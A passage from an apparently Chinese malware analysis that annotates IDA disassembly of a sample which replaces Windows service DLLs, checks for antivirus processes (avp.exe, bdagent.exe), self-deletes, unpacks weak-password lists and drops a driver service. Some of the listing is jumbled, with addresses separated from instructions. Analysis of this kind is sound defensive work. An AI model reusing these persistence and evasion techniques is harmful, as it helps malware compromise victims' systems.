.text:004022A7 jmp short CloseThisNext ; 跳走关闭该服务并取下一个值 .text:004022A9 jmp short CloseThisNext ; 跳走关闭该服务并取下一个值 .text:004022AB ServiceOver:
.text:004022AB push [ebp+hLibModule] ; hLibModule .text:004022B1 call ds:FreeLibrary
.text:004022B7 push [ebp+hSCObject] ; hSCObject .text:004022BD call ds:CloseServiceHandle
.text:004022C3 push [ebp+hSCManager] ; hSCObject .text:004022C6 call ds:CloseServiceHandle .text:004022CC cmp dword_40DC3C, 0
.text:004022D3 jz short ExitThisProcess ; 替换结束服务重启成功跳走终止程序
.text:004022D5 mov eax, dword_40DC3C .text:004022DA mov [ebp+var_C30], eax
.text:004022E0 push [ebp+var_C30] ; void *
.text:004022E6 call ??3@YAXPAX@Z ; operator delete(void *) .text:004022EB pop ecx
.text:004022EC ExitThisProcess:
.text:004022EC push 0 ; uExitCode .text:004022EE call ds:ExitProcess .text:004022F4 CloseThisNext:
.text:004022F4 push [ebp+hSCObject] ; hSCObject .text:004022FA call ds:CloseServiceHandle
.text:00402300 jmp NextService ; 跳回取下一个值
当数据解压失败或者装载Dll失败则从注册表读取数据
.text:00402305 GetVauleReg: ; .text:00402305 push 400h ; size_t .text:0040230A push 0 ; int .text:0040230C lea eax, [ebp+Data]
.text:00402312 push eax ; void * .text:00402313 call memset .text:00402318 add esp, 0Ch
.text:0040231B mov [ebp+cbData], 400h .text:00402322 lea eax, [ebp+hKey]
.text:00402325 push eax ; phkResult .text:00402326 push 1 ; samDesired .text:00402328 push 0 ; ulOptions
.text:0040232A push offset aSoftwareMicros ; \
.text:0040232F push 80000002h ; hKey .text:00402334 call ds:RegOpenKeyExA
.text:0040233A mov dword ptr [ebp+ValueName], 7374656Eh
.text:00402344 mov [ebp+var_77C], 736376h .text:0040234E lea eax, [ebp+cbData]
.text:00402351 push eax ; lpcbData .text:00402352 lea eax, [ebp+Data]
.text:00402358 push eax ; lpData .text:00402359 lea eax, [ebp+Type]
.text:0040235F push eax ; lpType .text:00402360 push 0 ; lpReserved .text:00402362 lea eax, [ebp+ValueName]
.text:00402368 push eax ; lpValueName .text:00402369 push [ebp+hKey] ; hKey
.text:0040236C call ds:RegQueryValueExA ; 从注册表中读取数据 .text:00402372 push [ebp+hKey] ; hKey .text:00402375 call ds:RegCloseKey .text:0040237B lea eax, [ebp+Data]
.text:00402381 mov [ebp+lpString], eax ; 从注册表中读取的数据首地址 .text:00402384 GetNext_1:
.text:00402384 mov eax, [ebp+lpString] .text:00402387 movsx eax, byte ptr [eax] .text:0040238A test eax, eax
.text:0040238C jz over_1 ; 如果从注册表中读取的数据为0则跳走退出 .text:00402392 push offset String ; lpString2 .text:00402397 push [ebp+lpString] ; lpString1 .text:0040239A call ds:lstrcmpiA .text:004023A0 test eax, eax
.text:004023A2 jnz short loc_4023A6 .text:004023A4 jmp short GetNext_1 .text:004023A6 loc_4023A6:
.text:004023A6 push 400h ; size_t .text:004023AB push 0 ; int .text:004023AD lea eax, [ebp+BinaryPathName] .text:004023B3 push eax ; void * .text:004023B4 call memset .text:004023B9 add esp, 0Ch
.text:004023BC push offset aVcs ; \.text:004023C1 push offset aOst_exe ; \.text:004023C6 push offset aSystemrootSyst ; \
.text:004023CB push offset aSS_0 ; \.text:004023D0 lea eax, [ebp+BinaryPathName] .text:004023D6 push eax ; LPSTR
.text:004023D7 call ds:wsprintfA ; \
.text:004023DD add esp, 14h
.text:004023E0 push 0 ; lpPassword .text:004023E2 push 0 ; lpServiceStartName
.text:004023E4 push 0 ; lpDependencies .text:004023E6 push 0 ; lpdwTagId .text:004023E8 push 0 ; lpLoadOrderGroup
.text:004023EA lea eax, [ebp+BinaryPathName] ; \
.text:004023F0 push eax ; lpBinaryPathName .text:004023F1 push 1 ; dwErrorControl .text:004023F3 .text:004023F5 .text:004023F7 .text:004023F9 .text:004023FC .text:004023FF .text:00402402 .text:00402408 .text:0040240E .text:00402415 .text:0040241B .text:0040241E .text:00402424 .text:00402425 .text:0040242A .text:00402430 .text:00402431 .text:00402437 .text:0040243A .text:00402440 .text:00402441 .text:00402444 .text:00402449 .text:0040244F .text:00402450 .text:00402455 .text:00402457 .text:00402459 .text:0040245B .text:0040245D ReadReplace: .text:0040245D .text:0040245F .text:00402461 .text:00402467 .text:0040246D push 2 ; dwStartType push 20h ; dwServiceType push 10h ; dwDesiredAccess push [ebp+lpString] ; lpDisplayName push [ebp+lpString] ; lpServiceName push [ebp+hSCManager] ; hSCManager call ds:CreateServiceA
mov [ebp+hSCObject], eax cmp [ebp+hSCObject], 0 jz Next_2
push [ebp+lpString] lea eax, [ebp+Buffer] push eax
push offset aSSystem32S_dll ; \lea eax, [ebp+FileName]
push eax ; LPSTR call ds:wsprintfA add esp, 10h
lea eax, [ebp+FileName]
push eax ; lpData push [ebp+lpString] ; int
call GetDllName ; 从注册表获取Dll名称 lea eax, [ebp+FileName]
push eax ; lpFileName
call ReplaceDll ; 替换上面提到的Dll test eax, eax
jnz short ReadReplace ; 替换成功跳走启动服务 jmp short Next_2 jmp short Next_2
; CODE XREF: ExeRun+42B j push 0 ; lpServiceArgVectors push 0 ; dwNumServiceArgs push [ebp+hSCObject] ; hService call ds:StartServiceA test eax, eax
.text:0040246F jnz short Over_2 ; 启动你服务成功跳走退出 .text:00402471 jmp short Next_2 .text:00402473 jmp short Next_2 .text:00402475 Over_2:
.text:00402475 push [ebp+hLibModule] ; hLibModule .text:0040247B call ds:FreeLibrary
.text:00402481 push [ebp+hSCObject] ; hSCObject .text:00402487 call ds:CloseServiceHandle
.text:0040248D push [ebp+hSCManager] ; hSCObject .text:00402490 call ds:CloseServiceHandle .text:00402496 cmp dword_40DC3C, 0 .text:0040249D jz short ExitThisProcess_1 .text:0040249F mov eax, dword_40DC3C .text:004024A4 mov [ebp+var_C34], eax
.text:004024AA push [ebp+var_C34] ; void *
.text:004024B0 call ??3@YAXPAX@Z ; operator delete(void *) .text:004024B5 pop ecx .text:004024B6 ExitThisProcess_1:
.text:004024B6 push 0 ; uExitCode .text:004024B8 call ds:ExitProcess .text:004024BE Next_2: ..
.text:004024BE push [ebp+lpString] ; lpString .text:004024C1 call ds:lstrlenA
.text:004024C7 mov ecx, [ebp+lpString] .text:004024CA lea eax, [ecx+eax+1] .text:004024CE mov [ebp+lpString], eax .text:004024D1 jmp GetNext_1
此时该文件为exe的功能就分析结束了，下面是该程序为dll时的功能：首先通过CreateBin函数内部功能判断当前进程名是不是\，如果不是则寻找\和\进程，这里是通过枚举进程名比较，故不贴出来了。 .text:0040540D push offset aAvp_exe ; \.text:00405412 call CheckProcess .text:00405417 test eax, eax
.text:00405419 jnz short GoWriteNop ; 没有找到跳走写入一堆90，然后删除
.text:0040541B push offset aBdagent_exe ; \
.text:00405420 call CheckProcess ; 通过枚举进程搜索这两个杀软进程
.text:00405425 test eax, eax
.text:00405427 jz short GoRevertData
.text:00405429 GoWriteNop: ; CODE XREF: MainGN+7C j .text:00405429 call WriteNop ; 写入一堆90然后删除
接着解压一系列名称如杀软进程名，网络用户名和弱口令，网址名称等，解压完毕后在临时文件夹创建驱动文件\，代码如下：
.text:004054D7 push offset TempPath ; lpBuffer
.text:004054DC push 104h ; nBufferLength .text:004054E1 call ds:GetTempPathA
.text:004054E7 push 104h ; size_t .text:004054EC push 0 ; int
.text:004054EE .text:004054F3 .text:004054F8 .text:004054FB .text:00405500 .text:00405505 .text:0040550B .text:00405510 .text:00405512 .text:00405518 .text:00405519 .text:0040551E .text:00405521 .text:00405526 .text:0040552B .text:00405530 .text:00405536 .text:00405537 .text:0040553A .text:0040553D .text:00405542 .text:00405544 .text:0040554A .text:00405550 .text:00405551 \
.text:00405556 .text:0040555C .text:0040555D .text:00405562 .text:00405567 .text:00405569 .text:0040556F .text:00405570 push offset SystemDirector ; void * call memset add esp, 0Ch
push 104h ; uSize
push offset SystemDirector ; lpBuffer call ds:GetSystemDirectoryA push 104h ; size_t push 0 ; int lea eax, [ebp+FileName]
push eax ; void * call memset add esp, 0Ch
push offset aForter_sys ; \push offset TempPath
push offset aSS_0 ; \lea eax, [ebp+FileName] push eax
call [ebp+wsprintfA] add esp, 10h
push 80h ; int push 65h ; int
push hModule ; hModule lea eax, [ebp+FileName] push eax ; int
call CallLoadResource ; 在临时文件夹下创建lea eax, [ebp+FileName]
push eax ; lpBinaryPathName call StartService_1 ; 启动\服务 push 400h ; size_t push 0 ; int lea eax, [ebp+String]
push eax ; void * call memset